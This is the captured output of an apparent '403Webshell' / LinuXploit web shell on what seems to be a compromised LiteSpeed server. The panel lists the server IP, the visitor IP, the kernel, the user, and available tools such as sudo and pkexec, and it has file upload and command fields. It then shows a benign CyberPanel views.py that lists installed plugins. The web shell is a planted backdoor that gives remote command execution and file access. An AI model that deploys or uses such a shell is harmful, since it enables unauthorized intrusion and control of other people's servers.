403Webshell
Server IP : 195.114.193.97  /  Your IP : 216.73.216.186
Web Server : LiteSpeed
System : Linux host 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64
User : sembi4241 ( 1126)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/CyberCP/pluginHolder/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/CyberCP/pluginHolder/views.py
# -*- coding: utf-8 -*-
from django.shortcuts import render
from plogical.mailUtilities import mailUtilities
import os
from xml.etree import ElementTree
from plogical.httpProc import httpProc

def installed(request):
    mailUtilities.checkHome()
    pluginPath = '/home/cyberpanel/plugins'
    pluginList = []

    if os.path.exists(pluginPath):
        for plugin in os.listdir(pluginPath):
            data = {}
            completePath = '/usr/local/CyberCP/' + plugin + '/meta.xml'
            pluginMetaData = ElementTree.parse(completePath)

            data['name'] = pluginMetaData.find('name').text
            data['type'] = pluginMetaData.find('type').text
            data['desc'] = pluginMetaData.find('description').text
            data['version'] = pluginMetaData.find('version').text

            pluginList.append(data)

    proc = httpProc(request, 'pluginHolder/plugins.html',
                    {'plugins': pluginList}, 'admin')
    return proc.render()

Youez - 2016 - github.com/yon3zu
LinuXploit